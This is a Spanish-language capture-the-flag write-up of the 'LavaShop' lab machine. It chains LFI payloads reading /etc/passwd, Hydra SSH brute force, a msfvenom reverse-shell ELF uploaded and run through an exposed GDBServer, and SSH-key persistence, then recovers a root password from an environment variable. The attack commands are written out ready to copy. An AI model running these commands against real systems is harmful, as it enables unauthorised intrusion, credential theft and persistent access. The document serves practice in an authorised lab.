1. Resumen

LavaShop es una máquina Linux de dificultad fácil que simula una "tienda online" de lámparas de lava. La explotación requiere:

  1. Local File Inclusion (LFI) para enumerar usuarios del sistema
  2. Fuerza bruta SSH para obtener acceso inicial
  3. Explotación de GDBServer corriendo en puerto no estándar
  4. Filtración de credenciales a través de variables de entorno

Esta máquina es ideal para practicar enumeración web, fuzzing de parámetros, y técnicas básicas de post-explotación.

Muchas gracias a Condor por esta máquina.

2. Reconocimiento

Escaneo de Puertos con Nmap

Iniciamos con un escaneo completo de puertos para identificar servicios expuestos:

sudo nmap -p- --open -sCV -Pn -n --min-rate 5000 <IP>
**Parámetros utilizados:**

-p-: Escanea todos los puertos (1-65535)

--open: Muestra solo puertos abiertos

-sCV: Ejecuta scripts de detección de versiones y vulnerabilidades

-Pn: Omite el descubrimiento de host (asume que está activo)

-n: No resuelve nombres DNS

--min-rate 5000: Envía al menos 5000 paquetes por segundo

Resultados:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp   open  http    Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://lavashop.thl/
|_http-server-header: Apache/2.4.62 (Debian)
1337/tcp open  waste?

Análisis de servicios:

  • Puerto 22 (SSH): OpenSSH 9.2p1 en Debian 12
  • Puerto 80 (HTTP): Apache 2.4.62 con redirección a lavashop.thl - Requiere configuración de DNS local
  • Puerto 1337: Servicio desconocido — Requiere investigación posterior

Configuración de Resolución DNS

El servidor web redirige a lavashop.thl, por lo que necesitamos añadir una entrada en nuestro archivo /etc/hosts:

echo "IP lavashop.thl" | sudo tee -a /etc/hosts

3. Enumeración Web

None

3.1 Exploración Manual

Al acceder a http://lavashop.thl, encontramos una tienda online que vende lámparas de lava con las siguientes características:

Primera hipótesis: El parámetro page podría estar incluyendo archivos dinámicamente, lo que sugiere una posible vulnerabilidad de Local File Inclusion (LFI).

3.2 Enumeración de Directorios con Gobuster

Utilizamos Gobuster para descubrir directorios y archivos ocultos:

gobuster dir -u http://lavashop.thl/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html 
Parámetros:

 dir: Modo de enumeración de directorios

 -u: URL objetivo

 -w: Wordlist a utilizar

 -x: Extensiones de archivo a buscar

Resultados relevantes:

None

Análisis:

  • /pages/: Directorio que probablemente contiene las páginas incluidas por index.php
  • /assets/: Recursos estáticos (CSS, JavaScript, imágenes)
  • /includes/: Posibles archivos de configuración o librerías PHP

3.3 Enumeración Recursiva del Directorio /pages/

Procedemos a enumerar el contenido específico del directorio /pages/:

gobuster dir -u http://lavashop.thl/pages -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html

Resultados:

None

Análisis de la Lógica de Inclusión

Correlacionando las URLs observadas con los archivos descubiertos:

None

Deducción: El código de index.php probablemente implementa algo similar a:

<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>

Esta implementación es vulnerable a Local File Inclusion (LFI) si no valida adecuadamente la entrada del usuario mediante técnicas de path traversal (../../../).

4. Explotación — Local File Inclusion

Intentos Iniciales en index.php

Probamos explotar el parámetro page con payloads comunes de LFI:

# Path traversal básico
curl "http://lavashop.thl/index.php?page=../../../../etc/passwd"

# PHP wrappers para lectura de código fuente
curl "http://lavashop.thl/index.php?page=php://filter/convert.base64-encode/resource=index"

# Null byte injection (PHP < 5.3.4)
curl "http://lavashop.thl/index.php?page=../../../etc/passwd%00"

Resultado: Todos los intentos devolvieron Error 404.

None

Conclusión: Existe algún tipo de validación o filtrado en el parámetro page, posiblemente:

  • Lista blanca de valores permitidos
  • Filtros que bloquean secuencias ../
  • Validación de extensiones

4.1 Pivote: Fuzzing de Parámetros Adicionales

Aunque index.php parece protegido, los archivos PHP individuales podrían tener sus propios parámetros vulnerables no visibles desde la interfaz.

Products.php

Utilizamos ffuf para descubrir parámetros ocultos:

ffuf -u "http://lavashop.thl/pages/products.php?FUZZ=test" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1017
Parámetros de ffuf:

-u: URL con `FUZZ` como placeholder

-w: Wordlist de nombres de parámetros comunes

-fs 1017`: Filtra respuestas de 1017 bytes (tamaño sin parámetros válidos)

Resultado:

None

Análisis del descubrimiento:

  • ✅ Parámetro encontrado: file
  • ✅ Cambio de tamaño: 1017 → 1370 bytes (indica que el parámetro está siendo procesado)
  • ✅ Nombre altamente sospechoso para LFI
  • ✅ Status 200 confirma que el parámetro es aceptado

4.2 Explotación Exitosa del LFI

Probamos el parámetro file con path traversal para leer archivos del sistema:

curl "http://lavashop.thl/pages/products.php?file=../../../../etc/passwd"
None

La aplicación devuelve el contenido del archivo `/etc/passwd`

Información crítica obtenida:

  • Usuario debian (UID 1000) con shell /bin/bash y directorio /home/debian
  • Usuario Rodri (UID 1001) con shell /bin/bash y directorio /home/Rodri
  • Ambos usuarios tienen capacidad de login interactivo

5. Acceso Inicial — SSH Brute Force

Fuerza Bruta con Hydra

Con los usuarios identificados, procedemos a realizar fuerza bruta contra el servicio SSH utilizando Hydra:

hydra -l debian -P /usr/share/wordlists/rockyou.txt ssh://<IP>
Parámetros:

-l debian: Usuario objetivo

-P: Wordlist de contraseñas

ssh://<IP>: Protocolo y host objetivo

Resultado:

None

Ya tenemos la contraseña de debian.

6. Acceso SSH

Nos conectamos al sistema con las credenciales obtenidas:

ssh debian@<IP>

6.1 Primera Flag — user.txt

Navegamos al directorio del usuario Rodri y encontramos la primera bandera:

None

6.2 Escalada de Privilegios — GDBServer Exploit

Enumeración Inicial

Al intentar elevar privilegios con métodos comunes, encontramos limitaciones:

sudo -l  # No permitido
su -     # Requiere contraseña de root desconocida

Enumeramos procesos del sistema para identificar vectores de escalada:

ps aux | grep 1337
None

Análisis crítico:

  • El servicio en puerto 1337 es GDBServer
  • Está ejecutándose como el usuario Rodri
  • Está escuchando en todas las interfaces (0.0.0.0)
  • El flag --once indica que acepta una conexión y luego termina

6.3 ¿Qué es GDBServer?

GDBServer es un programa que permite la depuración remota de aplicaciones. Funciona como intermediario entre:

  • El debugger (GDB en la máquina del desarrollador)
  • La aplicación a depurar (en la máquina remota)

Vulnerabilidad: Si un atacante puede conectarse a GDBServer, puede:

  1. Subir archivos ejecutables arbitrarios
  2. Ejecutar código como el usuario que corre GDBServer
  3. Obtener una shell inversa

7. Generación del Payload con Msfvenom

En nuestra máquina atacante creamos un ejecutable ELF que nos devolverá una reverse shell:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IPATACANTE> LPORT=4444 PrependFork=true -f elf -o binary.elf

Parámetros explicados:

  • -p linux/x64/shell_reverse_tcp: Payload de shell inversa para Linux 64 bits
  • LHOST: IP de nuestra máquina atacante
  • LPORT: Puerto donde recibiremos la conexión
  • PrependFork=true: Hace fork del proceso para evitar que se cuelgue
  • -f elf: Formato de salida (ejecutable Linux)
  • -o binary.elf: Nombre del archivo de salida

Damos permisos de ejecución:

chmod +x binary.elf

7.1 Conexión y Explotación de GDBServer

Iniciamos GDB con nuestro payload:

gdb binary.elf

Dentro de GDB, ejecutamos los siguientes comandos:

(gdb) target extended-remote <IP-VÍCTIMA>:1337
Remote debugging using <IP-VÍCTIMA>:1337

(gdb) remote put binary.elf binary.elf
Successfully uploaded binary.elf

(gdb) set remote exec-file /home/Rodri/binary.elf

(gdb) run
None

Explicación de comandos:

  1. target extended-remote: Conecta a GDBServer remoto
  2. remote put: Sube nuestro payload al sistema remoto
  3. set remote exec-file: Especifica qué archivo ejecutar
  4. run: Ejecuta el programa (activa nuestra reverse shell)

Listener y Captura de Shell

Antes de ejecutar run, abrimos un listener en otra terminal:

nc -lvnp 4444

Al ejecutar run en GDB, recibimos la conexión:

None

Mejora de la Shell (TTY)

La shell obtenida es limitada. La mejoramos con técnicas de spawning de TTY:

# Spawneamos una bash interactiva
SHELL=/bin/bash script -q /dev/null

# Suspendemos la sesión (Ctrl+Z)
^Z

# Configuramos la terminal local
stty raw -echo && fg

# Reseteamos la terminal remota
reset

# Configuramos el tipo de terminal
export TERM=xterm
export SHELL=/bin/bash

# Ajustamos el tamaño de la terminal (opcional)
stty rows 38 columns 116

8. Escalada a Root — Variables de Entorno

8.1 Establecimiento de Acceso SSH Persistente

Para facilitar la investigación, configuramos acceso SSH directo como Rodri:

En la máquina víctima:

cd /home/Rodri
mkdir -p .ssh
chmod 700 .ssh

En nuestra máquina atacante:

ssh-keygen -t rsa -f rodri_key
cat rodri_key.pub
None

De vuelta en la víctima:

echo "TU_CLAVE_PUBLICA_AQUI" > /home/Rodri/.ssh/authorized_keys
chmod 600 /home/Rodri/.ssh/authorized_keys
None

Conexión SSH:

ssh -i rodri_key Rodri@<IP>

8.2 Enumeración de Variables de Entorno

Una vez con acceso SSH estable, revisamos las variables de entorno:

env
None

¡Descubrimiento crítico! La variable dev contiene lo que parece ser una contraseña.

8.3 Escalada a Root

Intentamos usar esta credencial para cambiar al usuario root:

su root

Introducimos la contraseña y ¡ya somos root!

En el directorio /root está la última bandera.

None

Recomendación: Esta máquina es ideal para principiantes que quieren fortalecer sus habilidades en enumeración web y post-explotación básica.

9. Agradecimientos

Muchas gracias a TheHackersLabs por esta nueva máquina y a su creador, Condor, por dedicarle su tiempo y su conocimiento en crearla.

Un saludo!

APS88!!!